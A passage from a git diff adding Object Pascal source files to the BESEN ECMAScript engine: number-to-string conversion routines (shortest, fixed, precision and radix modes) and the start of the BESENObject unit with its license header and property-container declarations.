result:=RoundWeed(Buffer,Len,DoubleValueMinus(TooHigh,w).SignificantMantissa,UnsafeInterval.SignificantMantissa,Rest,qword(Divisor) shl (-One.Exponent),UnitValue); + exit; + end; + Divisor:=Divisor div 10; + end; + if (One.Exponent>=-60) and (QWordLess(Fractionals,One.SignificantMantissa) and QWordGreaterOrEqual(qword($1999999999999999),One.SignificantMantissa)) then begin + while true do begin + Fractionals:=Fractionals*10; + UnitValue:=UnitValue*10; + UnsafeInterval.SignificantMantissa:=UnsafeInterval.SignificantMantissa*10; + Digit:=Fractionals shr (-One.Exponent); + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:={$ifdef BESENSingleStringType}DigitChars[Digit]{$else}AnsiChar(byte(byte(AnsiChar('0'))+Digit)){$endif}; + dec(Capacity); + Fractionals:=Fractionals and (One.SignificantMantissa-1); + if QWordLess(Fractionals,UnsafeInterval.SignificantMantissa) then begin + result:=RoundWeed(Buffer,Len,DoubleValueMinus(TooHigh,w).SignificantMantissa*UnitValue,UnsafeInterval.SignificantMantissa,Fractionals,One.SignificantMantissa,UnitValue); + exit; + end; + end; + end; + end; + end; + end; + function DigitGenCounted(w:TDoubleValue;RequestedDigits:longint;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,Capacity:longint):boolean; + var wError,Fractionals,Rest:qword; + One:TDoubleValue; + Integrals,Divisor,Digit:longword; + DivisorExponent:longint; + begin + result:=false; + if ((MinimalTargetExponent<=w.Exponent) and (w.Exponent<=MaximalTargetExponent)) and ((MinimalTargetExponent>=-60) and (MaximalTargetExponent<=-32)) then begin + wError:=1; + One.SignificantMantissa:=qword(1) shl (-w.Exponent); + One.Exponent:=w.Exponent; + Integrals:=w.SignificantMantissa shr (-One.Exponent); + Fractionals:=w.SignificantMantissa and (One.SignificantMantissa-1); + Divisor:=0; + DivisorExponent:=0; + if BiggestPowerTen(Integrals,SignificantMantissaSize-(-One.Exponent),Divisor,DivisorExponent) then begin + Capacity:=DivisorExponent+1; + Len:=0; + while Capacity>0 do begin + Digit:=Integrals div Divisor; + Integrals:=Integrals mod Divisor; + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:={$ifdef BESENSingleStringType}DigitChars[Digit]{$else}AnsiChar(byte(byte(AnsiChar('0'))+Digit)){$endif}; + dec(RequestedDigits); + dec(Capacity); + if RequestedDigits=0 then begin + break; + end; + Divisor:=Divisor div 10; + end; + if RequestedDigits=0 then begin + Rest:=qword(qword(Integrals) shl (-One.Exponent))+Fractionals; + result:=RoundWeedCounted(Buffer,Len,Rest,qword(Divisor) shl (-One.Exponent),wError,Capacity); + exit; + end; + if ((One.Exponent>=-60) and QWordLess(Fractionals,One.SignificantMantissa)) and QWordGreaterOrEqual(qword($1999999999999999),One.SignificantMantissa) then begin + while (RequestedDigits>0) and (Fractionals>wError) do begin + Fractionals:=Fractionals*10; + Digit:=Fractionals shr (-One.Exponent); + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:={$ifdef BESENSingleStringType}DigitChars[Digit]{$else}AnsiChar(byte(byte(AnsiChar('0'))+Digit)){$endif}; + dec(RequestedDigits); + dec(Capacity); + Fractionals:=Fractionals and (One.SignificantMantissa-1); + end; + if RequestedDigits=0 then begin + result:=RoundWeedCounted(Buffer,Len,Fractionals,One.SignificantMantissa,wError,Capacity); + end else begin + result:=false; + end; + end; + end; + end; + end; + procedure NormalizedBoundaries(Value:double;var BoundaryMinus,BoundaryPlus:TDoubleValue); + var v:TDoubleValue; + SignificantMantissaIsZero:boolean; + begin + Assert(not BESENIsNegative(Value)); + Assert(BESENIsFinite(Value)); + SplitDouble(Value,v.SignificantMantissa,v.Exponent); + SignificantMantissaIsZero:=v.SignificantMantissa=qword($0010000000000000); + BoundaryPlus.SignificantMantissa:=(v.SignificantMantissa shl 1)+1; + BoundaryPlus.Exponent:=v.Exponent-1; + DoubleValueNormalize(BoundaryPlus); + if SignificantMantissaIsZero and (v.Exponent<>((-($3ff+52))+1)) then begin + BoundaryMinus.SignificantMantissa:=(v.SignificantMantissa shl 2)-1; + BoundaryMinus.Exponent:=v.Exponent-2; + end else begin + BoundaryMinus.SignificantMantissa:=(v.SignificantMantissa shl 1)-1; + BoundaryMinus.Exponent:=v.Exponent-1; + end; + BoundaryMinus.SignificantMantissa:=BoundaryMinus.SignificantMantissa shl (BoundaryMinus.Exponent-BoundaryPlus.Exponent); + BoundaryMinus.Exponent:=BoundaryPlus.Exponent; + end; + function DoFastShortest(Value:double;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,DecimalExponent:longint):boolean; + var w,BoundaryMinus,BoundaryPlus,TenMK,ScaledW,ScaledBoundaryMinus,ScaledBoundaryPlus:TDoubleValue; + mK,TenMKMinimalBinaryExponent,TenMKMaximalBinaryExponent,Capacity:longint; + begin + result:=false; + w:=DoubleValueGet(Value); + NormalizedBoundaries(Value,BoundaryMinus,BoundaryPlus); + Assert(BoundaryPlus.Exponent=w.Exponent); + TenMKMinimalBinaryExponent:=MinimalTargetExponent-(w.Exponent+SignificantMantissaSize); + TenMKMaximalBinaryExponent:=MaximalTargetExponent-(w.Exponent+SignificantMantissaSize); + if GetCachedPowerForBinaryExponentRange(TenMKMinimalBinaryExponent,TenMKMaximalBinaryExponent,TenMK,mK) then begin + if (MinimalTargetExponent<=(w.Exponent+TenMK.Exponent+SignificantMantissaSize)) and (MaximalTargetExponent>=(w.Exponent+TenMK.Exponent+SignificantMantissaSize)) then begin + ScaledW:=DoubleValueMul(w,TenMK); + if ScaledW.Exponent=(BoundaryPlus.Exponent+TenMK.Exponent+SignificantMantissaSize) then begin + ScaledBoundaryMinus:=DoubleValueMul(BoundaryMinus,TenMK); + ScaledBoundaryPlus:=DoubleValueMul(BoundaryPlus,TenMK); + Capacity:=0; + result:=DigitGen(ScaledBoundaryMinus,ScaledW,ScaledBoundaryPlus,Buffer,Len,Capacity); + DecimalExponent:=Capacity-mK; + end; + end; + end; + end; + function DoFastPrecision(Value:double;RequestedDigits:longint;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,DecimalExponent:longint):boolean; + var w,TenMK,ScaledW:TDoubleValue; + mK,TenMKMinimalBinaryExponent,TenMKMaximalBinaryExponent,Capacity:longint; + begin + result:=false; + w:=DoubleValueGet(Value); + TenMKMinimalBinaryExponent:=MinimalTargetExponent-(w.Exponent+SignificantMantissaSize); + TenMKMaximalBinaryExponent:=MaximalTargetExponent-(w.Exponent+SignificantMantissaSize); + if GetCachedPowerForBinaryExponentRange(TenMKMinimalBinaryExponent,TenMKMaximalBinaryExponent,TenMK,mK) then begin + if (MinimalTargetExponent<=(w.Exponent+TenMK.Exponent+SignificantMantissaSize)) and (MaximalTargetExponent>=(w.Exponent+TenMK.Exponent+SignificantMantissaSize)) then begin + ScaledW:=DoubleValueMul(w,TenMK); + Capacity:=0; + result:=DigitGenCounted(ScaledW,RequestedDigits,Buffer,Len,Capacity); + DecimalExponent:=Capacity-mK; + end; + end; + end; + function DoFastFixed(Value:double;FracitionalCount:longint;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,DecimalPoint:longint):boolean; + const Five17=$b1a2bc2ec5; // 5^17 + type TInt128=record + High,Low:qword; + end; + procedure Int128Mul(var a:TInt128;const Multiplicand:longword); + var Accumulator:qword; + Part:longword; + begin + Accumulator:=(a.Low and $ffffffff)*Multiplicand; + Part:=Accumulator and $ffffffff; + Accumulator:=(Accumulator shr 32)+((a.Low shr 32)*Multiplicand); + a.Low:=(Accumulator shl 32)+Part; + Accumulator:=(Accumulator shr 32)+((a.High and $ffffffff)*Multiplicand); + Part:=Accumulator and $ffffffff; + Accumulator:=(Accumulator shr 32)+((a.High shr 32)*Multiplicand); + a.High:=(Accumulator shl 32)+Part; + Assert((Accumulator shr 32)=0); + end; + procedure Int128Shift(var a:TInt128;const Shift:longint); + begin + Assert(((-64)<=Shift) and (Shift<=64)); + if Shift<>0 then begin + if Shift=-64 then begin + a.High:=a.Low; + a.Low:=0; + end else if Shift=64 then begin + a.Low:=a.High; + a.High:=0; + end else if Shift<=0 then begin + a.High:=(a.High shl (-Shift))+(a.Low shr (64+Shift)); + a.Low:=a.Low shl (-Shift); + end else begin + a.Low:=(a.Low shr Shift)+(a.High shl (64-Shift)); + a.High:=a.High shr Shift; + end; + end; + end; + function Int128DivModPowerOfTwo(var a:TInt128;const Power:longint):longint; + begin + if Power>=64 then begin + result:=a.High shr (Power-64); + dec(a.High,result shl (Power-64)); + end else begin + result:=(a.Low shr Power)+(a.High shl (64-Power)); + a.High:=0; + dec(a.Low,(a.Low shr Power) shl Power); + end; + end; + function Int128IsZero(const a:TInt128):boolean; + begin + result:=(a.High=0) and (a.Low=0); + end; + function Int128BitAt(const a:TInt128;const Position:longint):boolean; + begin + if Position>=64 then begin + result:=((a.High shr (Position-64)) and 1)<>0; + end else begin + result:=((a.LOw shr Position) and 1)<>0; + end; + end; + procedure FillDigits32FixedLength(Number:longword;RequestedLength:longint;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len:longint); + var i,l:longint; + begin + l:=Len; + inc(Len,RequestedLength); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + for i:=RequestedLength downto 1 do begin + Buffer[l+i]:={$ifdef BESENSingleStringType}DigitChars[Number mod 10]{$else}AnsiChar(byte(byte(AnsiChar('0'))+(Number mod 10))){$endif}; + Number:=Number div 10; + end; + end; + procedure FillDigits32(Number:longword;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len:longint); + var NumberLength,i,l:longint; + OldNumber:longword; + begin + OldNumber:=Number; + NumberLength:=0; + while Number<>0 do begin + Number:=Number div 10; + inc(NumberLength); + end; + if NumberLength<>0 then begin + l:=Len; + inc(Len,NumberLength); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Number:=OldNumber; + for i:=NumberLength downto 1 do begin + Buffer[l+i]:={$ifdef BESENSingleStringType}DigitChars[Number mod 10]{$else}AnsiChar(byte(byte(AnsiChar('0'))+(Number mod 10))){$endif}; + Number:=Number div 10; + end; + end; + end; + procedure FillDigits64FixedLength(Number:qword;RequestedLength:longint;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len:longint); + var p0,p1,p2:longword; + begin + p2:=Number mod 10000000; + Number:=Number div 10000000; + p1:=Number mod 10000000; + p0:=Number div 10000000; + FillDigits32FixedLength(p0,3,Buffer,Len); + FillDigits32FixedLength(p1,7,Buffer,Len); + FillDigits32FixedLength(p2,7,Buffer,Len); + end; + procedure FillDigits64(Number:qword;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len:longint); + var p0,p1,p2:longword; + begin + p2:=Number mod 10000000; + Number:=Number div 10000000; + p1:=Number mod 10000000; + p0:=Number div 10000000; + if p0<>0 then begin + FillDigits32(p0,Buffer,Len); + FillDigits32FixedLength(p1,7,Buffer,Len); + FillDigits32FixedLength(p2,7,Buffer,Len); + end else if p1<>0 then begin + FillDigits32(p1,Buffer,Len); + FillDigits32FixedLength(p2,7,Buffer,Len); + end else begin + FillDigits32(p2,Buffer,Len); + end; + end; + procedure RoundUp(var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,DecimalPoint:longint); + var i:longint; + begin + if Len=0 then begin + Buffer:='1'; + Len:=1; + DecimalPoint:=1; + end else begin + inc(Buffer[Len]); + for i:=Len downto 2 do begin + if ord(Buffer[i])<>(ord('0')+10) then begin + exit; + end; + Buffer[i]:='0'; + inc(Buffer[i-1]); + end; + if ord(Buffer[1])=(ord('0')+10) then begin + Buffer[1]:='1'; + inc(DecimalPoint); + end; + end; + end; + procedure FillFractionals(Fractionals:qword;Exponent:longint;FractionalCount:longint;var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,DecimalPoint:longint); + var Point,i,Digit:longint; + Fractionals128:TInt128; + begin + Assert(((-128)<=Exponent) and (Exponent<=0)); + if (-Exponent)<=64 then begin + Assert((Fractionals shr 56)=0); + Point:=-Exponent; + for i:=1 to FracitionalCount do begin + Fractionals:=Fractionals*5; + dec(Point); + Digit:=Fractionals shr Point; + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:={$ifdef BESENSingleStringType}DigitChars[Digit]{$else}AnsiChar(byte(byte(AnsiChar('0'))+Digit)){$endif}; + dec(Fractionals,qword(Digit) shl Point); + end; + if ((Fractionals shr (Point-1)) and 1)<>0 then begin + RoundUp(Buffer,Len,DecimalPoint); + end; + end else begin + Assert((64<(-Exponent)) and ((-Exponent)<=128)); + Fractionals128.High:=Fractionals; + Fractionals128.Low:=0; + Int128Shift(Fractionals128,(-Exponent)-64); + Point:=128; + for i:=1 to FracitionalCount do begin + if Int128IsZero(Fractionals128) then begin + break; + end; + Int128Mul(Fractionals128,5); + dec(Point); + Digit:=Int128DivModPowerOfTwo(Fractionals128,Point); + inc(Len); + if Len>=length(Buffer) then begin + SetLength(Buffer,Len*2); + end; + Buffer[Len]:={$ifdef BESENSingleStringType}DigitChars[Digit]{$else}AnsiChar(byte(byte(AnsiChar('0'))+Digit)){$endif}; + end; + if Int128BitAt(Fractionals128,Point-1) then begin + RoundUp(Buffer,Len,DecimalPoint); + end; + end; + end; + procedure TrimZeros(var Buffer:{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif};var Len,DecimalPoint:longint); + var i:longint; + begin + while (Len>0) and (Buffer[Len]='0') do begin + dec(Len); + end; + i:=0; + while (i<Len) and (Buffer[i+1]='0') do begin + inc(i); + end; + if i<>0 then begin + Delete(Buffer,1,i); + dec(Len,i); + dec(DecimalPoint,i); + end; + end; + var SignificantMantissa,Divisor,Dividend,Remainder,Integrals,Fractionals:qword; + Exponent,DivisorPower:longint; + Quotient:longword; + begin + result:=false; + SplitDouble(Value,SignificantMantissa,Exponent); + if (Exponent<=20) and (FracitionalCount<=20) then begin + Len:=0; + if (Exponent+53)>74 then begin + Divisor:=Five17; + DivisorPower:=17; + Dividend:=SignificantMantissa; + if Exponent>DivisorPower then begin + Dividend:=Dividend shl (Exponent-DivisorPower); + Quotient:=Dividend div Divisor; + Remainder:=(Dividend mod Divisor) shl DivisorPower; + end else begin + Dividend:=Dividend shl (DivisorPower-Exponent); + Quotient:=Dividend div Divisor; + Remainder:=(Dividend mod Divisor) shl Exponent; + end; + FillDigits32(Quotient,Buffer,Len); + FillDigits64FixedLength(Remainder,DivisorPower,Buffer,Len); + DecimalPoint:=Len; + end else if Exponent>=0 then begin + SignificantMantissa:=SignificantMantissa shl Exponent; + FillDigits64(SignificantMantissa,Buffer,Len); + DecimalPoint:=Len; + end else if Exponent>-53 then begin + Integrals:=SignificantMantissa shr (-Exponent); + Fractionals:=SignificantMantissa-(Integrals shl (-Exponent)); + if Integrals>$ffffffff then begin + FillDigits64(Integrals,Buffer,Len); + end else begin + FillDigits32(Integrals,Buffer,Len); + end; + DecimalPoint:=Len; + FillFractionals(Fractionals,Exponent,FracitionalCount,Buffer,Len,DecimalPoint); + end else if Exponent<-128 then begin + Assert(FracitionalCount>=20); + Buffer:=''; + Len:=0; + DecimalPoint:=-FracitionalCount; + end else begin + DecimalPoint:=0; + FillFractionals(SignificantMantissa,Exponent,FracitionalCount,Buffer,Len,DecimalPoint); + end; + TrimZeros(Buffer,Len,DecimalPoint); + SetLength(Buffer,Len); + if Len=0 then begin + DecimalPoint:=-FracitionalCount; + end; + result:=true; + end; + end; +var OK,Fast:boolean; + Len,DecimalPoint,ZeroPrefixLength,ZeroPostfixLength,i:longint; +begin + if BESENIsNaN(AValue) then begin + result:='NaN'; + end else if BESENIsZero(AValue) then begin + result:='0'; + end else if BESENIsNegInfinite(AValue) then begin + result:='-Infinity'; + end else if BESENIsNegative(AValue) then begin + result:='-'+BESENDoubleToString(BESENNumberAbsolute(AValue),Mode,RequestedDigits); + end else if BESENIsInfinite(AValue) then begin + result:='Infinity'; + end else begin + result:='0'; + if AValue<>0 then begin + Len:=0; + DecimalPoint:=0; + OK:=false; + Fast:=false; + if ((Mode=BESEN_DOUBLETOSTRINGMODE_FIXED) and (AValue>=1e21)) or ((Mode=BESEN_DOUBLETOSTRINGMODE_RADIX) and (RequestedDigits=10)) then begin + Mode:=BESEN_DOUBLETOSTRINGMODE_STANDARD; + end; + case Mode of + BESEN_DOUBLETOSTRINGMODE_STANDARD,BESEN_DOUBLETOSTRINGMODE_STANDARDEXPONENTIAL:begin + OK:=DoFastShortest(AValue,result,Len,DecimalPoint); + inc(DecimalPoint,Len); + end; + BESEN_DOUBLETOSTRINGMODE_FIXED:begin + OK:=DoFastFixed(AValue,RequestedDigits,result,Len,DecimalPoint); + end; + BESEN_DOUBLETOSTRINGMODE_EXPONENTIAL,BESEN_DOUBLETOSTRINGMODE_PRECISION:begin + if RequestedDigits<=0 then begin + OK:=DoFastShortest(AValue,result,Len,DecimalPoint); + inc(DecimalPoint,Len); + RequestedDigits:=Len-1; + end else begin + OK:=DoFastPrecision(AValue,RequestedDigits,result,Len,DecimalPoint); + inc(DecimalPoint,Len); + end; + Assert((Len>0) and (Len<=(RequestedDigits+1))); + end; + BESEN_DOUBLETOSTRINGMODE_RADIX:begin + if ((RequestedDigits>=2) and (RequestedDigits<=36)) and (BESENIsFinite(AValue) and (AValue<4294967295.0) and (System.Int(AValue)=AValue)) then begin + FastDoubleToRadix(AValue,RequestedDigits,result,Len,DecimalPoint); + Fast:=true; + OK:=true; + end; + end; + end; + if not OK then begin + case Mode of + BESEN_DOUBLETOSTRINGMODE_STANDARD,BESEN_DOUBLETOSTRINGMODE_STANDARDEXPONENTIAL:begin + DoubleToDecimal(AValue,mSHORTEST,RequestedDigits,result,Len,DecimalPoint); + OK:=true; + end; + BESEN_DOUBLETOSTRINGMODE_FIXED:begin + DoubleToDecimal(AValue,mFIXED,RequestedDigits,result,Len,DecimalPoint); + OK:=true; + end; + BESEN_DOUBLETOSTRINGMODE_EXPONENTIAL,BESEN_DOUBLETOSTRINGMODE_PRECISION:begin + if RequestedDigits<=0 then begin + DoubleToDecimal(AValue,mSHORTEST,RequestedDigits,result,Len,DecimalPoint); + OK:=true; + RequestedDigits:=Len-1; + end else begin + DoubleToDecimal(AValue,mPRECISION,RequestedDigits,result,Len,DecimalPoint); + OK:=true; + end; + Assert((Len>0) and (Len<=(RequestedDigits+1))); + end; + BESEN_DOUBLETOSTRINGMODE_RADIX:begin + if (RequestedDigits>=2) and (RequestedDigits<=36) then begin + DoubleToRadix(AValue,RequestedDigits,result,Len,DecimalPoint); + OK:=true; + end; + end; + end; + end; + if OK then begin + SetLength(result,Len); + case Mode of + BESEN_DOUBLETOSTRINGMODE_STANDARD:begin + if (Len<=DecimalPoint) and (DecimalPoint<=21) then begin + SetLength(result,DecimalPoint); + FillChar(result[Len+1],DecimalPoint-Len,'0'); + end else if (0<DecimalPoint) and (DecimalPoint<=21) then begin + Insert('.',result,DecimalPoint+1); + end else if (DecimalPoint<=0) and (DecimalPoint>-6) then begin + for i:=1 to -DecimalPoint do begin + result:='0'+result; + end; + result:='0.'+result; + end else begin + if Len<>1 then begin + Insert('.',result,2); + end; + if DecimalPoint>=0 then begin + result:=result+'e+'+{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}(IntToStr(abs(DecimalPoint-1))); + end else begin + result:=result+'e-'+{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}(IntToStr(abs(DecimalPoint-1))); + end; + end; + end; + BESEN_DOUBLETOSTRINGMODE_STANDARDEXPONENTIAL:begin + if Len<>1 then begin + Insert('.',result,2); + end; + if DecimalPoint>=0 then begin + result:=result+'e+'+{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}(IntToStr(abs(DecimalPoint-1))); + end else begin + result:=result+'e-'+{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}(IntToStr(abs(DecimalPoint-1))); + end; + end; + BESEN_DOUBLETOSTRINGMODE_FIXED:begin + ZeroPrefixLength:=0; + ZeroPostfixLength:=0; + if DecimalPoint<=0 then begin + ZeroPrefixLength:=(-DecimalPoint)+1; + DecimalPoint:=1; + end; + if (ZeroPrefixLength+Len)<(DecimalPoint+RequestedDigits) then begin + ZeroPostfixLength:=((DecimalPoint+RequestedDigits)-Len)-ZeroPrefixLength; + end; + for i:=1 to ZeroPrefixLength do begin + result:='0'+result; + end; + for i:=1 to ZeroPostfixLength do begin + result:=result+'0'; + end; + if (RequestedDigits>0) and (DecimalPoint>0) and (DecimalPoint<=length(result)) then begin + Insert('.',result,DecimalPoint+1); + end; + end; + BESEN_DOUBLETOSTRINGMODE_EXPONENTIAL:begin + if RequestedDigits<1 then begin + RequestedDigits:=1; + end; + if RequestedDigits<>1 then begin + Insert('.',result,2); + for i:=Len+1 to RequestedDigits do begin + result:=result+'0'; + end; + end else begin + SetLength(result,1); + end; + if DecimalPoint>=0 then begin + result:=result+'e+'+{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}(IntToStr(abs(DecimalPoint-1))); + end else begin + result:=result+'e-'+{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}(IntToStr(abs(DecimalPoint-1))); + end; + end; + BESEN_DOUBLETOSTRINGMODE_PRECISION:begin + if RequestedDigits<1 then begin + RequestedDigits:=1; + end; + if (DecimalPoint<-6) or (DecimalPoint>=RequestedDigits) then begin + if RequestedDigits<>1 then begin + Insert('.',result,2); + for i:=Len+1 to RequestedDigits do begin + result:=result+'0'; + end; + end else begin + SetLength(result,1); + end; + if DecimalPoint>=0 then begin + result:=result+'e+'+{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}(IntToStr(abs(DecimalPoint-1))); + end else begin + result:=result+'e-'+{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}(IntToStr(abs(DecimalPoint-1))); + end; + end else begin + if DecimalPoint<=0 then begin + for i:=1 to -DecimalPoint do begin + result:='0'+result; + end; + result:='0.'+result; + for i:=Len+1 to RequestedDigits do begin + result:=result+'0'; + end; + end else begin + SetLength(result,RequestedDigits); + for i:=Len+1 to RequestedDigits do begin + result[i]:='0'; + end; + if DecimalPoint<RequestedDigits then begin + if Len<>1 then begin + Insert('.',result,DecimalPoint+1); + end; + end; + end; + end; + end; + BESEN_DOUBLETOSTRINGMODE_RADIX:begin + if not Fast then begin + if (Len<=DecimalPoint) and (DecimalPoint<=21) then begin + SetLength(result,DecimalPoint); + FillChar(result[Len+1],DecimalPoint-Len,'0'); + end else if (0<DecimalPoint) and (DecimalPoint<=21) then begin + Insert('.',result,DecimalPoint+1); + end else if (DecimalPoint<=0) and (DecimalPoint>-6) then begin + for i:=1 to -DecimalPoint do begin + result:='0'+result; + end; + result:='0.'+result; + end else begin + if Len<>1 then begin + Insert('.',result,2); + end; + if DecimalPoint>=0 then begin + result:=result+'p+'+{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}(IntToStr(abs(DecimalPoint-1))); + end else begin + result:=result+'p-'+{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}(IntToStr(abs(DecimalPoint-1))); + end; + end; + while (length(result)>1) and ((result[1]='0') and (result[2] in ['0'..'9','a'..'f'])) do begin + Delete(result,1,1); + end; + end; + end; + end; + end else begin + result:=''; + end; + end; + end; +end; + +function BESENNumberToString(const Value:TBESENNumber):TBESENString; +begin + if BESENIsNaN(Value) then begin + result:='NaN'; + end else if BESENIsZero(Value) then begin + result:='0'; + end else if BESENIsNegInfinite(Value) then begin + result:='-Infinity'; + end else if BESENIsNegative(Value) then begin + result:='-'+BESENFloatToStr(-Value); + end else if BESENIsInfinite(Value) then begin + result:='Infinity'; + end else begin + result:=TBESENString(BESENDoubleToString(Value,BESEN_DOUBLETOSTRINGMODE_STANDARD,0)); + end; +end; + +function BESENNumberToRadixString(const Value:TBESENNumber;Radix:longint):TBESENString; +begin + if BESENIsNaN(Value) then begin + result:='NaN'; + end else if BESENIsZero(Value) then begin + result:='0'; + end else if BESENIsNegInfinite(Value) then begin + result:='-Infinity'; + end else if BESENIsNegative(Value) then begin + result:='-'+BESENFloatToStr(-Value); + end else if BESENIsInfinite(Value) then begin + result:='Infinity'; + end else begin + result:=TBESENString(BESENDoubleToString(Value,BESEN_DOUBLETOSTRINGMODE_RADIX,Radix)); + end; +end; + +function BESENFloatToStr(const Value:TBESENNumber):TBESENString; +begin + if BESENIsNaN(Value) then begin + result:='NaN'; + end else if BESENIsZero(Value) then begin + result:='0'; + end else if BESENIsNegInfinite(Value) then begin + result:='-Infinity'; + end else if BESENIsNegative(Value) then begin + result:='-'+BESENFloatToStr(-Value); + end else if BESENIsInfinite(Value) then begin + result:='Infinity'; + end else begin + result:=TBESENString(BESENDoubleToString(Value,BESEN_DOUBLETOSTRINGMODE_STANDARD,0)); + end; +end; + +function BESENFloatToLocaleStr(const Value:TBESENNumber):TBESENString; +var i:integer; +begin + if BESENIsNaN(Value) then begin + result:='NaN'; + end else if BESENIsZero(Value) then begin + result:='0'; + end else if BESENIsNegInfinite(Value) then begin + result:='-Infinity'; + end else if BESENIsNegative(Value) then begin + result:='-'+BESENFloatToLocaleStr(-Value); + end else if BESENIsInfinite(Value) then begin + result:='Infinity'; + end else begin + result:=TBESENString(BESENDoubleToString(Value,BESEN_DOUBLETOSTRINGMODE_STANDARD,0)); + for i:=1 to length(result) do begin + case word(result[i]) of + ord('.'):begin + result[i]:=widechar(word(ord(BESENLocaleFormatSettings.DecimalSeparator))); + end; + end; + end; + end; +end; + +procedure InitBESEN; +begin + InitBESENNumberTables; +end; + +procedure DoneBESEN; +begin +end; + +initialization + InitBESEN; +finalization + DoneBESEN; +end. diff --git a/Core/JS/BESENObject.pas b/Core/JS/BESENObject.pas new file mode 100644 index 0000000..51460af --- /dev/null +++ b/Core/JS/BESENObject.pas @@ -0,0 +1,2513 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObject; +{$i BESEN.inc} + +interface + +uses SysUtils,BESENConstants,BESENTypes,BESENValue,BESENBaseObject, + BESENCollectorObject,BESENObjectPropertyDescriptor, + BESENSelfBalancedTree,BESENHashMap, + BESENGarbageCollector, + BESENPointerSelfBalancedTree; + +type TBESENNativeFunction=procedure(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:longint;var ResultValue:TBESENValue) of object; + + TBESENObjectPropertyContainer=class; + + TBESENObjectProperty=class(TBESENCollectorObject) + public + PropertyContainer:TBESENObjectPropertyContainer; + HashPrevious,HashNext,Previous,Next:TBESENObjectProperty; + Hash:TBESENHash; + FullHash:TBESENHash; + Index:TBESENINT32; + ID:TBESENINT32; + ArrayIndex:TBESENINT32; + PropIndex:TBESENINT32; + Key:TBESENString; + Descriptor:TBESENObjectPropertyDescriptor; + IsInSelfBalancedTree:TBESENBoolean; + SelfBalancedTreeNode:PBESENSelfBalancedTreeNode; + constructor Create(AInstance:TObject;const APropertyMap:TBESENObjectPropertyContainer;const AHash,AFullHash:TBESENHash;const AKey:TBESENString); overload; + destructor Destroy; override; + end; + + TBESENObjectProperties=array of TBESENObjectProperty; + + TBESENObjectPropertyContainerHashBucket=record + HashFirst,HashLast:TBESENObjectProperty; + end; + + TBESENObjectPropertyContainerHashBuckets=array of TBESENObjectPropertyContainerHashBucket; + + TBESENObject=class; + + TBESENObjectPropertyEnumerator=class; + + TBESENObjectPropertiesBuckets=array of TBESENObjectProperties; + + TBESENObjectPropertyContainer=class(TBESENCollectorObject) + private + procedure GrowAndRehashIfNeeded; + protected + SelfBalancedTree:TBESENSelfBalancedTree; + HashBuckets:TBESENObjectPropertyContainerHashBuckets; + HashSize:longword; + HashSizeMask:longword; + HashedItems:longword; + HashBucketsUsed:longword; + EnumeratorFirst,EnumeratorLast:TBESENObjectPropertyEnumerator; + Sorted,IsArray:longbool; + LastUsedItem:TBESENObjectProperty; + Obj:TBESENObject; + public + First,Last:TBESENObjectProperty; + Items:TBESENObjectProperties; + ItemCount:longint; + ArrayBuckets:TBESENObjectPropertiesBuckets; + ArrayItemCount:longint; + constructor Create(AInstance:TObject;ASorted:boolean;AObj:TBESENObject); overload; + destructor Destroy; override; + procedure Clear; + procedure ArraySet(Index:longint;PropertyValue:TBESENObjectProperty); + function ArrayGet(Index:longint):TBESENObjectProperty; + 